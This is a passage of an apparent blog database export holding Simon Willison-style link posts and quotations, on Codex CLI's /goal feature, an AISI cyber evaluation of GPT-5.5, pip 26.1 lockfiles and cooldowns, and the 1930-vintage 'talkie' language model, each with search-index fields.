if you [search for lemur](https://simonwillison.net/search/?q=lemur) you'll see my lemur photos from Madagascar in 2019!",
  "created": "2026-05-02T17:26:40+00:00",
  "metadata": {},
  "search_document": "'/),':48C '/2026/feb/20/beats/)':88C '/2026/may/1/inat-sightings/)':58C '/elsewhere/sightings':1A '/search/?q=lemur)':147C '/simonw/simonwillisonblog/pull/668)':99C '2019':157C 'a':20C,23C,32C,131C 'add':62C 'ai':5B,9B,12B 'ai-assisted-programming':11B 'an':80C 'and':49C,100C,121C 'archive':119C 'as':79C,102C 'assisted':13B 'back':128C 'back-populated':127C 'based':50C 'beats':84C 'best':41C 'birds':37C 'blog':66C 'blogging':2B 'built':68C 'camera':22C 'canon':24C 'claude':16B,75C 'claude-code':15B 'code':17B,76C 'content':92C,110C 'date':118C 'decade':132C 'decided':60C 'extension':81C 'external':91C 'feature':70C 'for':77C,89C,143C 'forms':106C 'from':154C 'generative':8B 'generative-ai':7B 'github.com':98C 'github.com/simonw/simonwillisonblog/pull/668)':97C 'have':19C 'here':93C 'homepage':116C 'i':18C,29C,38C,59C,67C,126C 'if':140C 'ii':27C 'in':122C,156C 'inaturalist':6B,45C,134C 'incoming':108C 'lemur':144C,152C 'll':149C 'llms':10B 'lot':33C 'm':30C 'madagascar':155C 'mark':26C 'means':137C 'more':34C 'my':40C,65C,72C,83C,104C,151C 'new':21C 'of':36C,82C,107C,133C 'on':44C,51C,71C,114C 'other':105C 'over':130C 'pages':120C 'phone':73C 'photography':3B 'photos':35C,43C,153C 'populated':129C 'pr':96C 'programming':14B 'prompt':101C 'prototype':55C 'r6':25C 'results':125C 's':53C,94C 'search':124C,142C 'see':150C 'share':39C 'show':112C 'sightings':111C,135C 'simonwillison.net':57C,87C,146C,158C 'simonwillison.net/2026/feb/20/beats/)':86C 'simonwillison.net/2026/may/1/inat-sightings/)':56C 'simonwillison.net/search/?q=lemur)':145C 'site':123C 'so':28C 'successful':54C 'syndicated':109C 'syndicating':90C 'system':85C 'taking':31C 'that':139C 'the':95C,115C,117C 'this':69C 'those':63C 'to':61C,64C 'up':113C 'using':74C 'web':78C 'which':136C 'wildlife':4B,42C 'with':103C 'www.inaturalist.org':47C 'www.inaturalist.org/),':46C 'yesterday':52C 'you':138C,141C,148C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/sightings-beats-card.jpg.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": "Sightings"
}
blogmark 2026-04-30 23:23:17+00:00
{
  "id": 9437,
  "slug": "codex-goals",
  "link_url": "https://github.com/openai/codex/releases/tag/rust-v0.128.0",
  "link_title": "Codex CLI 0.128.0 adds /goal",
  "via_url": "https://twitter.com/fcoury/status/2049917871799636201",
  "via_title": "@fcoury",
  "commentary": "The latest version of OpenAI's Codex CLI coding agent adds their own version of the [Ralph loop](https://ghuntley.com/ralph/): you can now set a `/goal` and Codex will keep on looping until it evaluates that the goal has been completed... or the configured token budget has been exhausted.\r\n\r\nIt looks like the feature is mainly implemented though the [goals/continuation.md](https://github.com/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/continuation.md) and [goals/budget_limit.md](https://github.com/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/budget_limit.md) prompts, which are automatically injected at the end of a turn.",
  "created": "2026-04-30T23:23:17+00:00",
  "metadata": {},
  "search_document": "'/goal':5A,53C '/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/budget_limit.md)':95C '/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/continuation.md)':90C '/ralph/):':47C '0.128.0':3A 'a':52C,105C 'adds':4A,37C 'agent':36C 'agentic':25B 'agentic-engineering':24B 'agents':17B 'ai':6B,13B 'and':54C,91C 'are':98C 'at':101C 'automatically':99C 'been':67C,75C 'budget':73C 'can':49C 'cli':2A,23B,34C 'codex':1A,22B,33C,55C 'codex-cli':21B 'coding':16B,35C 'coding-agents':15B 'completed':68C 'configured':71C 'end':103C 'engineering':10B,26B 'evaluates':62C 'exhausted':76C 'fcoury':108C 'feature':81C 'generative':12B 'generative-ai':11B 'ghuntley.com':46C 'ghuntley.com/ralph/):':45C 'github.com':89C,94C,107C 'github.com/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/budget_limit.md)':93C 'github.com/openai/codex/blob/6014b6679ffbd92eeddffa3ad7b4402be6a7fefe/codex-rs/core/templates/goals/continuation.md)':88C 'goal':65C 'goals/budget_limit.md':92C 'goals/continuation.md':87C 'has':66C,74C 'implemented':84C 'injected':100C 'is':82C 'it':61C,77C 'keep':57C 'latest':28C 'like':79C 'llms':14B 'looks':78C 'loop':44C 'looping':59C 'mainly':83C 'now':50C 'of':30C,41C,104C 'on':58C 'openai':7B,31C 'or':69C 'own':39C 'prompt':9B 'prompt-engineering':8B 'prompts':20B,96C 'ralph':43C 's':32C 'set':51C 'system':19B 'system-prompts':18B 'that':63C 'the':27C,42C,64C,70C,80C,86C,102C 'their':38C 'though':85C 'token':72C 'turn':106C 'until':60C 'version':29C,40C 'which':97C 'will':56C 'you':48C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-30 23:03:24+00:00
{
  "id": 9436,
  "slug": "gpt-55-cyber-capabilities",
  "link_url": "https://www.aisi.gov.uk/blog/our-evaluation-of-openais-gpt-5-5-cyber-capabilities",
  "link_title": "Our evaluation of OpenAI's GPT-5.5 cyber capabilities",
  "via_url": null,
  "via_title": null,
  "commentary": "The UK's AI Security Institute [previously evaluated Claude Mythos](https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities): now they've evaluated GPT-5.5 for finding security vulnerability and found it to be comparable to Mythos, but unlike Mythos it's generally available right now.",
  "created": "2026-04-30T23:03:24+00:00",
  "metadata": {},
  "search_document": "'-5.5':7A,41C '/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities):':35C 'ai':10B,14B,19B,26C 'ai-security-research':18B 'and':46C 'anthropic':16B 'available':60C 'be':50C 'but':54C 'capabilities':9A 'claude':17B,31C 'comparable':51C 'cyber':8A 'evaluated':30C,39C 'evaluation':2A 'finding':43C 'for':42C 'found':47C 'generally':59C 'generative':13B 'generative-ai':12B 'gpt':6A,22B,40C 'institute':28C 'it':48C,57C 'llms':15B 'mythos':32C,53C,56C 'now':36C,62C 'of':3A 'openai':4A,11B 'our':1A 'previously':29C 'research':21B 'right':61C 's':5A,25C,58C 'security':20B,27C,44C 'the':23C 'they':37C 'to':49C,52C 'uk':24C 'unlike':55C 've':38C 'vulnerability':45C 'www.aisi.gov.uk':34C,63C 'www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities):':33C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-30 21:24:55+00:00
{
  "id": 2164,
  "slug": "andrew-kelley",
  "quotation": "It's a common misconception that we can't tell who is using LLM and who is not. I'm sure we didn't catch 100% of LLM-assisted PRs over the past few months, but the kind of mistakes humans make are fundamentally different than LLM hallucinations, making them easy to spot. Furthermore, people who come from the world of agentic coding have a certain *digital smell* that is not obvious to them but is obvious to those who abstain. It's like when a smoker walks into the room, everybody who doesn't smoke instantly knows it.\r\n\r\nI'm not telling you not to smoke, but I am telling you not to smoke in my house.",
  "source": "Andrew Kelley",
  "source_url": "https://lobste.rs/s/ifcyr1/contributor_poker_zig_s_ai_ban#c_cbtxub",
  "created": "2026-04-30T21:24:55+00:00",
  "metadata": {},
  "search_document": "'100':26A 'a':3A,66A,87A 'abstain':82A 'agentic':63A 'ai':120B,124B 'am':111A 'and':15A 'andrew':126C 'are':44A 'assisted':30A 'but':37A,76A,109A 'can':8A 'catch':25A 'certain':67A 'coding':64A 'come':58A 'common':4A 'didn':23A 'different':46A 'digital':68A 'doesn':95A 'easy':52A 'everybody':93A 'few':35A 'from':59A 'fundamentally':45A 'furthermore':55A 'generative':123B 'generative-ai':122B 'hallucinations':49A 'have':65A 'house':119A 'humans':42A 'i':19A,101A,110A 'in':117A 'instantly':98A 'into':90A 'is':12A,17A,71A,77A 'it':1A,83A,100A 'kelley':127C 'kind':39A 'knows':99A 'like':85A 'llm':14A,29A,48A 'llm-assisted':28A 'llms':125B 'm':20A,102A 'make':43A 'making':50A 'misconception':5A 'mistakes':41A 'months':36A 'my':118A 'not':18A,72A,103A,106A,114A 'obvious':73A,78A 'of':27A,40A,62A 'over':32A 'past':34A 'people':56A 'prs':31A 'room':92A 's':2A,84A 'smell':69A 'smoke':97A,108A,116A 'smoker':88A 'spot':54A 'sure':21A 't':9A,24A,96A 'tell':10A 'telling':104A,112A 'than':47A 'that':6A,70A 'the':33A,38A,60A,91A 'them':51A,75A 'those':80A 'to':53A,74A,79A,107A,115A 'using':13A 'walks':89A 'we':7A,22A 'when':86A 'who':11A,16A,57A,81A,94A 'world':61A 'you':105A,113A 'zig':121B",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Creator of Zig"
}
blogmark 2026-04-30 18:38:48+00:00
{
  "id": 9435,
  "slug": "rss-vibe-coded-apps",
  "link_url": "https://interconnected.org/home/2026/04/29/syndicating-vibes",
  "link_title": "We need RSS for sharing abundant vibe-coded apps",
  "via_url": null,
  "via_title": null,
  "commentary": "Matt Webb:\r\n\r\n> I would love an RSS web feed for all those various tools and apps pages, each item with an \u201cInstall\u201d button. (But install to where?)\r\n>\r\n> The lesson here is that when vibe-coding accelerates app development, apps become more personal, more situated, and more frequent. Shipping a tool or a micro-app is less like launching a website and more like posting on a blog.\r\n\r\nThis inspired me to [have Claude](https://github.com/simonw/simonwillisonblog/pull/665) add an Atom feed (and icon) to my [/elsewhere/tools/](https://simonwillison.net/elsewhere/tool/) page, which itself is populated by content from my [tools.simonwillison.net](https://tools.simonwillison.net/) site.",
  "created": "2026-04-30T18:38:48+00:00",
  "metadata": {},
  "search_document": "'/)':122C '/elsewhere/tool/)':109C '/elsewhere/tools':106C '/simonw/simonwillisonblog/pull/665)':97C 'a':69C,72C,80C,87C 'abundant':6A 'accelerates':56C 'add':98C 'ai':16B 'all':30C 'an':25C,40C,99C 'and':34C,65C,82C,102C 'app':57C,75C 'apps':10A,35C,59C 'atom':11B,100C 'become':60C 'blog':88C 'but':43C 'button':42C 'by':115C 'claude':94C 'coded':9A 'coding':19B,55C 'content':116C 'development':58C 'each':37C 'feed':28C,101C 'for':4A,29C 'frequent':67C 'from':117C 'github.com':96C 'github.com/simonw/simonwillisonblog/pull/665)':95C 'have':93C 'here':49C 'i':22C 'icon':103C 'inspired':90C 'install':41C,44C 'interconnected.org':124C 'is':50C,76C,113C 'item':38C 'itself':112C 'launching':79C 'less':77C 'lesson':48C 'like':78C,84C 'love':24C 'matt':13B,20C 'matt-webb':12B 'me':91C 'micro':74C 'micro-app':73C 'more':61C,63C,66C,83C 'my':105C,118C 'need':2A 'on':86C 'or':71C 'page':110C 'pages':36C 'personal':62C 'populated':114C 'posting':85C 'rss':3A,15B,26C 'sharing':5A 'shipping':68C 'simonwillison.net':108C 'simonwillison.net/elsewhere/tool/)':107C 'site':123C 'situated':64C 'that':51C 'the':47C 'this':89C 'those':31C 'to':45C,92C,104C 'tool':70C 'tools':33C 'tools.simonwillison.net':119C,121C 'tools.simonwillison.net/)':120C 'various':32C 'vibe':8A,18B,54C 'vibe-coded':7A 'vibe-coding':17B,53C 'we':1A 'web':27C 'webb':14B,21C 'website':81C 'when':52C 'where':46C 'which':111C 'with':39C 'would':23C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-28 22:02:53+00:00
{
  "id": 2162,
  "slug": "openai-codex",
  "quotation": "`Never talk about goblins, gremlins, raccoons, trolls, ogres, pigeons, or other animals or creatures unless it is absolutely and unambiguously relevant to the user's query.`",
  "source": "OpenAI Codex base_instructions",
  "source_url": "https://github.com/openai/codex/blob/66b0781502be5de3b1909525c987643b9e5e407d/codex-rs/models-manager/models.json#L55",
  "created": "2026-04-28T22:02:53+00:00",
  "metadata": {},
  "search_document": "'about':3A 'absolutely':18A 'ai':27B,34B 'and':19A 'animals':12A 'base':45C 'cli':41B 'codex':40B,44C 'codex-cli':39B 'creatures':14A 'engineering':31B 'generative':33B 'generative-ai':32B 'goblins':4A 'gpt':42B 'gremlins':5A 'instructions':46C 'is':17A 'it':16A 'llms':35B 'never':1A 'ogres':8A 'openai':28B,43C 'or':10A,13A 'other':11A 'pigeons':9A 'prompt':30B 'prompt-engineering':29B 'prompts':38B 'query':26A 'raccoons':6A 'relevant':21A 's':25A 'system':37B 'system-prompts':36B 'talk':2A 'the':23A 'to':22A 'trolls':7A 'unambiguously':20A 'unless':15A 'user':24A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "for GPT-5.5"
}
quotation 2026-04-28 13:25:29+00:00
{
  "id": 2161,
  "slug": "matthew-yglesias",
  "quotation": "Five months in, I think I've decided that I don't want to vibecode \u2014 I want professionally managed software companies to use AI coding assistance to make more/better/cheaper software products that they sell to me for money.",
  "source": "Matthew Yglesias",
  "source_url": "https://twitter.com/mattyglesias/status/2049105745132585161",
  "created": "2026-04-28T13:25:29+00:00",
  "metadata": {},
  "search_document": "'agentic':48B 'agentic-engineering':47B 'ai':24A,39B,41B 'ai-assisted-programming':40B 'assistance':26A 'assisted':42B 'coding':25A,46B 'companies':21A 'decided':8A 'don':11A 'engineering':49B 'five':1A 'for':37A 'i':4A,6A,10A,16A 'in':3A 'make':28A 'managed':19A 'matthew':50C 'me':36A 'money':38A 'months':2A 'more/better/cheaper':29A 'products':31A 'professionally':18A 'programming':43B 'sell':34A 'software':20A,30A 't':12A 'that':9A,32A 'they':33A 'think':5A 'to':14A,22A,27A,35A 'use':23A 've':7A 'vibe':45B 'vibe-coding':44B 'vibecode':15A 'want':13A,17A 'yglesias':51C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "in a now-deleted Tweet"
}
blogmark 2026-04-28 05:23:05+00:00
{
  "id": 9434,
  "slug": "pip-261",
  "link_url": "https://ichard26.github.io/blog/2026/04/whats-new-in-pip-26.1/",
  "link_title": "What's new in pip 26.1 - lockfiles and dependency cooldowns!",
  "via_url": "https://lobste.rs/s/w2oiaq/what_s_new_pip_26_1_lockfiles_dependency",
  "via_title": "Lobste.rs",
  "commentary": "Richard Si describes an excellent set of upgrades to Python's default `pip` tool for installing dependencies.\r\n\r\nThis version drops support for Python 3.9 - fair enough, since it's been EOL [since October](https://devguide.python.org/versions/). macOS still ships with `python3` as a default Python 3.9, so I tried out the new Python version against Python 3.14 like this:\r\n\r\n\tuv python install 3.14\r\n\tmkdir /tmp/experiment\r\n\tcd /tmp/experiment\r\n\tpython3.14 -m venv venv\r\n\tsource venv/bin/activate\r\n\tpip install -U pip\r\n\tpip --version\r\n\r\n This confirmed I had `pip 26.1` - then I tried out the new lock files:\r\n\r\n\tpip lock datasette llm\r\n\r\nThis installs Datasette and LLM and all of their dependencies and writes the whole lot to a 519 line `pylock.toml` file - [here's the result](https://gist.github.com/simonw/ff52c33f4d3a381b8e53c6a3aa0213f8).\r\n\r\nThe new release also supports dependency cooldowns, [discussed here previously](https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/), via the new `--uploaded-prior-to PXD` option where X is a number of days. The format is `P-number-of-days-D`, following [ISO duration format](https://en.wikipedia.org/wiki/ISO_8601#Durations) but only supporting days.\r\n\r\nI shipped a new release of LLM, version 0.31, [three days ago](https://simonwillison.net/2026/Apr/24/llm/). Here's how to use the new `--uploaded-prior-to P4D` option to ask for a version that is at least 4 days old.\r\n\r\n    pip install llm --uploaded-prior-to P4D\r\n    venv/bin/llm --version\r\n\r\nThis gave me version 0.30.",
  "created": "2026-04-28T05:23:05+00:00",
  "metadata": {},
  "search_document": "'/2026/apr/24/llm/).':206C '/2026/mar/24/package-managers-need-to-cool-down/),':155C '/simonw/ff52c33f4d3a381b8e53c6a3aa0213f8).':142C '/tmp/experiment':82C,84C '/versions/).':53C '/wiki/iso_8601#durations)':187C '0.30':246C '0.31':200C '26.1':6A,102C '3.14':74C,80C '3.9':41C,63C '4':229C '519':132C 'a':60C,131C,168C,194C,223C 'against':72C 'ago':203C 'all':121C 'also':146C 'an':21C 'and':8A,118C,120C,125C 'as':59C 'ask':221C 'at':227C 'been':47C 'but':188C 'cd':83C 'chain':17B 'confirmed':98C 'cooldowns':10A,149C 'd':180C 'datasette':113C,117C 'days':171C,179C,191C,202C,230C 'default':29C,61C 'dependencies':34C,124C 'dependency':9A,148C 'describes':20C 'devguide.python.org':52C 'devguide.python.org/versions/).':51C 'discussed':150C 'drops':37C 'duration':183C 'en.wikipedia.org':186C 'en.wikipedia.org/wiki/iso_8601#durations)':185C 'enough':43C 'eol':48C 'excellent':22C 'fair':42C 'file':135C 'files':110C 'following':181C 'for':32C,39C,222C 'format':173C,184C 'gave':243C 'gist.github.com':141C 'gist.github.com/simonw/ff52c33f4d3a381b8e53c6a3aa0213f8).':140C 'had':100C 'here':136C,151C,207C 'how':209C 'i':65C,99C,104C,192C 'ichard26.github.io':247C 'in':4A 'install':79C,92C,233C 'installing':33C 'installs':116C 'is':167C,174C,226C 'iso':182C 'it':45C 'least':228C 'like':75C 'line':133C 'llm':114C,119C,198C,234C 'lobste.rs':248C 'lock':109C,112C 'lockfiles':7A 'lot':129C 'm':86C 'macos':54C 'me':244C 'mkdir':81C 'new':3A,69C,108C,144C,158C,195C,213C 'number':169C,177C 'october':50C 'of':24C,122C,170C,178C,197C 'old':231C 'only':189C 'option':164C,219C 'out':67C,106C 'p':176C 'p-number-of-days-d':175C 'p4d':218C,239C 'packaging':11B 'pip':5A,12B,30C,91C,94C,95C,101C,111C,232C 'previously':152C 'prior':161C,216C,237C 'pxd':163C 'pylock.toml':134C 'python':13B,27C,40C,62C,70C,73C,78C 'python3':58C 'python3.14':85C 'release':145C,196C 'result':139C 'richard':18C 's':2A,28C,46C,137C,208C 'security':14B 'set':23C 'shipped':193C 'ships':56C 'si':19C 'simonwillison.net':154C,205C 'simonwillison.net/2026/apr/24/llm/).':204C 'simonwillison.net/2026/mar/24/package-managers-need-to-cool-down/),':153C 'since':44C,49C 'so':64C 'source':89C 'still':55C 'supply':16B 'supply-chain':15B 'support':38C 'supporting':190C 'supports':147C 'that':225C 'the':68C,107C,127C,138C,143C,157C,172C,212C 'their':123C 'then':103C 'this':35C,76C,97C,115C,242C 'three':201C 'to':26C,130C,162C,210C,217C,220C,238C 'tool':31C 'tried':66C,105C 'u':93C 'upgrades':25C 'uploaded':160C,215C,236C 'uploaded-prior-to':159C,214C,235C 'use':211C 'uv':77C 'venv':87C,88C 'venv/bin/activate':90C 'venv/bin/llm':240C 'version':36C,71C,96C,199C,224C,241C,245C 'via':156C 'what':1A 'where':165C 'whole':128C 'with':57C 'writes':126C 'x':166C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-28 02:47:42+00:00
{
  "id": 9433,
  "slug": "talkie",
  "link_url": "https://talkie-lm.com/introducing-talkie",
  "link_title": "Introducing talkie: a 13B vintage language model from 1930",
  "via_url": "https://news.ycombinator.com/item?id=47927903",
  "via_title": "Hacker News",
  "commentary": "New project from [Nick Levine](https://nlevine.org), [David Duvenaud](http://www.cs.toronto.edu/~duvenaud/), and [Alec Radford](https://en.wikipedia.org/wiki/Alec_Radford) (of GPT, GPT-2, Whisper fame).\r\n\r\n[talkie-1930-13b-base](https://huggingface.co/talkie-lm/talkie-1930-13b-base) (53.1 GB) is a \"13B language model trained on 260B tokens of historical pre-1931 English text\". \r\n\r\n[talkie-1930-13b-it](https://huggingface.co/talkie-lm/talkie-1930-13b-it) (26.6 GB) is a checkpoint \"finetuned using a novel dataset of instruction-response pairs extracted from pre-1931 reference works\", designed to power a chat interface. You can [try that out here](https://talkie-lm.com/chat).\r\n\r\nBoth models are Apache 2.0 licensed. Since the training data for the base model is entirely out of copyright (the USA copyright cutoff date is currently January 1, 1931), I'm hoping they later decide to release the training data as well.\r\n\r\n*Update* on that: [Nick Levine on Twitter](https://twitter.com/status_effects/status/2049065134014726301):\r\n\r\n> Will publish more on the corpus in the future (and do our best to share the data or at least scripts to reproduce it).\r\n\r\nTheir report suggests some fascinating research objectives for this class of model, including:\r\n\r\n- How good are these models at predicting the future? \"we calculated the surprisingness of short descriptions of historical events to a 13B model trained on pre-1931 text\"\r\n- Can these models invent things that are past their knowledge cutoffs? \"As Demis Hassabis has asked, could a model trained up to 1911 independently discover General Relativity, as Einstein did in 1915?\"\r\n- Can they be taught to program? \"Figure 3 (left-hand side) shows an early example of such a test, measuring how well models trained on pre-1931 text can, when given a few demonstration examples of\u00a0[Python programs](https://github.com/openai/human-eval), write new correct programs.\"\r\n\r\nI have a long-running interest in what I call \"vegan models\" - LLMs that are trained entirely on licensed or out-of-copyright data. I think the base model here qualifies, but the chat model isn't entirely pure due to the reliance on non-vegan models to help with the fine-tuning - emphasis mine:\r\n\r\n> First, we generated instruction-response pairs from historical texts with regular structure, such as etiquette manuals, letter-writing manuals, cookbooks, dictionaries, encyclopedias, and poetry and fable collections (see Figure 7), and fine-tuned our base model on them using a simple chat format.\r\n> \r\n> Next, to improve instruction-following abilities, we generated synthetic prompts covering different types of tasks, such as summarizing documents, responding to direct information requests, and continuing multi-turn conversations coherently. We then ran online direct preference optimization on rollouts generated from these prompts, **using Claude Sonnet 4.6 as a judge**. [...]\r\n> \r\n> Finally, we did another round of supervised fine-tuning, this time on rejection-sampled **multi-turn synthetic chats between Claude Opus 4.6 and talkie**, to smooth out persistent rough edges in its conversational abilities.\r\n\r\nA major challenge in training talkie was avoiding accidental contamination, either from post-1931 text that snuck into the training corpus or from the fine-tuning assistance from modern LLMs introducing anachronistic knowledge to the chat model. \r\n\r\nI recently [wrote about Mr. Chatterbox](https://simonwillison.net/2026/Mar/30/mr-chatterbox/), a similar vintage language model project which also had to turn to modern LLMs to create synthetic conversations to help train the chat model.\r\n\r\nThe talkie team aspire to eventually move beyond this limitation:\r\n\r\n> While we have tried to post-train talkie free from modern influence, reinforcement learning with AI feedback inevitably shapes talkie\u2019s behavior anachronistically. (The 7B version of talkie emerged from RL speaking in listicles.) As we scale up, we hope to be able to use our vintage base models themselves as judges to enable a fully bootstrapped era-appropriate post-training pipeline.\r\n\r\nI couldn't resist hitting the talkie demo with my classic test prompt:\r\n\r\n> `Generate an SVG of a pelican riding a bicycle`\r\n\r\nIt replied:\r\n\r\n> An SVG of a pelican riding a bicycle was generated in 1860. The pelican was represented as perched on the saddle, with its long bill pointed forward, and its legs astride the handles. The idea was suggested by the fact that pelicans are sometimes seen fishing on horseback, on the banks of the Rhine.",
  "created": "2026-04-28T02:47:42+00:00",
  "metadata": {},
  "search_document": "'-13':52C,78C '-1930':51C,77C '-1931':73C,103C,236C,297C,523C '-2':47C '/2026/mar/30/mr-chatterbox/),':556C '/chat).':120C '/openai/human-eval),':311C '/status_effects/status/2049065134014726301):':172C '/talkie-lm/talkie-1930-13b-base)':58C '/talkie-lm/talkie-1930-13b-it)':84C '/wiki/alec_radford)':43C '/~duvenaud/),':37C '1':148C '13b':4A,63C,231C '1860':691C '1911':260C '1915':269C '1930':9A '1931':149C '2.0':125C '26.6':85C '260b':68C '3':277C '4.6':469C,497C '53.1':59C '7':406C '7b':616C 'a':3A,62C,88C,92C,109C,230C,255C,288C,302C,318C,417C,471C,510C,557C,646C,673C,676C,683C,686C 'abilities':427C,509C 'able':634C 'about':551C 'accidental':518C 'ai':10B,13B,22B,607C 'ai-ethics':21B 'alec':39C 'also':564C 'an':283C,670C,680C 'anachronistic':542C 'anachronistically':614C 'and':38C,182C,399C,401C,407C,446C,498C,707C 'another':476C 'apache':124C 'appropriate':651C 'are':123C,212C,244C,331C,722C 'as':161C,249C,265C,389C,438C,470C,626C,642C,696C 'asked':253C 'aspire':584C 'assistance':537C 'astride':710C 'at':191C,215C 'avoiding':517C 'b':54C,80C 'b-base':53C 'b-it':79C 'banks':730C 'base':55C,133C,345C,412C,639C 'be':272C,633C 'behavior':613C 'best':185C 'between':494C 'beyond':588C 'bicycle':677C,687C 'bill':704C 'bootstrapped':648C 'both':121C 'but':349C 'by':717C 'calculated':220C 'call':326C 'can':113C,238C,270C,299C 'challenge':512C 'chat':110C,351C,419C,546C,579C 'chats':493C 'chatterbox':553C 'checkpoint':89C 'class':206C 'classic':666C 'claude':467C,495C 'coherently':452C 'collections':403C 'contamination':519C 'continuing':447C 'conversational':508C 'conversations':451C,574C 'cookbooks':396C 'copyright':139C,142C,340C 'corpus':178C,530C 'correct':314C 'could':254C 'couldn':657C 'covering':432C 'create':572C 'currently':146C 'cutoff':143C 'cutoffs':248C 'data':20B,130C,160C,189C,341C 'dataset':94C 'date':144C 'david':33C 'decide':155C 'demis':250C 'demo':663C 'demonstration':304C 'descriptions':225C 'designed':106C 'dictionaries':397C 'did':267C,475C 'different':433C 'direct':443C,457C 'discover':262C 'do':183C 'documents':440C 'due':357C 'duvenaud':34C 'early':284C 'edges':505C 'einstein':266C 'either':520C 'emerged':620C 'emphasis':373C 'en.wikipedia.org':42C 'en.wikipedia.org/wiki/alec_radford)':41C 'enable':645C 'encyclopedias':398C 'english':74C 'entirely':136C,333C,355C 'era':650C 'era-appropriate':649C 'ethics':23B 'etiquette':390C 'events':228C 'eventually':586C 'example':285C 'examples':305C 'extracted':100C 'fable':402C 'fact':719C 'fame':49C 'fascinating':201C 'feedback':608C 'few':303C 'figure':276C,405C 'finally':473C 'fine':371C,409C,481C,535C 'fine-tuned':408C 'fine-tuning':370C,480C,534C 'finetuned':90C 'first':375C 'fishing':725C 'following':426C 'for':131C,204C 'format':420C 'forward':706C 'free':600C 'from':8A,29C,101C,382C,463C,521C,532C,538C,601C,621C 'fully':647C 'future':181C,218C 'gb':60C,86C 'general':263C 'generate':669C 'generated':377C,429C,462C,689C 'generative':12B 'generative-ai':11B 'github.com':310C 'github.com/openai/human-eval),':309C 'given':301C 'good':211C 'gpt':45C,46C 'hacker':735C 'had':565C 'hand':280C 'handles':712C 'has':252C 'hassabis':251C 'have':317C,593C 'help':367C,576C 'here':117C,347C 'historical':71C,227C,383C 'hitting':660C 'hope':631C 'hoping':152C 'horseback':727C 'how':210C,291C 'huggingface.co':57C,83C 'huggingface.co/talkie-lm/talkie-1930-13b-base)':56C 'huggingface.co/talkie-lm/talkie-1930-13b-it)':82C 'i':150C,316C,325C,342C,548C,656C 'idea':714C 'improve':423C 'in':179C,268C,323C,506C,513C,624C,690C 'including':209C 'independently':261C 'inevitably':609C 'influence':603C 'information':444C 'instruction':97C,379C,425C 'instruction-following':424C 'instruction-response':96C,378C 'interest':322C 'interface':111C 'into':527C 'introducing':1A,541C 'invent':241C 'is':61C,87C,135C,145C 'isn':353C 'it':81C,196C,678C 'its':507C,702C,708C 'january':147C 'judge':472C 'judges':643C 'knowledge':247C,543C 'language':6A,64C,560C 'later':154C 'learning':605C 'least':192C 'left':279C 'left-hand':278C 'legs':709C 'letter':393C 'letter-writing':392C 'levine':31C,167C 'licensed':126C,335C 'limitation':590C 'listicles':625C 'llm':25B 'llm-release':24B 'llms':16B,17B,329C,540C,570C 'local':15B 'local-llms':14B 'long':320C,703C 'long-running':319C 'm':151C 'major':511C 'manuals':391C,395C 'measuring':290C 'mine':374C 'model':7A,65C,134C,208C,232C,256C,346C,352C,413C,547C,561C,580C 'models':122C,214C,240C,293C,328C,365C,640C 'modern':539C,569C,602C 'more':175C 'move':587C 'mr':552C 'multi':449C,490C 'multi-turn':448C,489C 'my':665C 'new':27C,313C 'news':736C 'next':421C 'nick':30C,166C 'nlevine.org':32C 'non':363C 'non-vegan':362C 'novel':93C 'objectives':203C 'of':44C,70C,95C,138C,207C,223C,226C,286C,306C,339C,435C,478C,618C,672C,682C,731C 'on':67C,164C,168C,176C,234C,295C,334C,361C,414C,460C,485C,698C,726C,728C 'online':456C 'optimization':459C 'opus':496C 'or':190C,336C,531C 'our':184C,411C,637C 'out':116C,137C,338C,502C 'out-of-copyright':337C 'pairs':99C,381C 'past':245C 'pelican':674C,684C,693C 'pelicans':721C 'perched':697C 'persistent':503C 'pipeline':655C 'poetry':400C 'pointed':705C 'post':522C,597C,653C 'post-train':596C 'post-training':652C 'power':108C 'pre':72C,102C,235C,296C 'predicting':216C 'preference':458C 'program':275C 'programs':308C,315C 'project':28C,562C 'prompt':668C 'prompts':431C,465C 'publish':174C 'pure':356C 'python':307C 'qualifies':348C 'radford':40C 'ran':455C 'recently':549C 'reference':104C 'regular':386C 'reinforcement':604C 'rejection':487C 'rejection-sampled':486C 'relativity':264C 'release':26B,157C 'reliance':360C 'replied':679C 'report':198C 'represented':695C 'reproduce':195C 'requests':445C 'research':202C 'resist':659C 'responding':441C 'response':98C,380C 'rhine':733C 'riding':675C,685C 'rl':622C 'rollouts':461C 'rough':504C 'round':477C 'running':321C 's':612C 'saddle':700C 'sampled':488C 'scale':628C 'scripts':193C 'see':404C 'seen':724C 'shapes':610C 'share':187C 'short':224C 'shows':282C 'side':281C 'similar':558C 'simonwillison.net':555C 'simonwillison.net/2026/mar/30/mr-chatterbox/),':554C 'simple':418C 'since':127C 'smooth':501C 'snuck':526C 'some':200C 'sometimes':723C 'sonnet':468C 'speaking':623C 'structure':387C 'such':287C,388C,437C 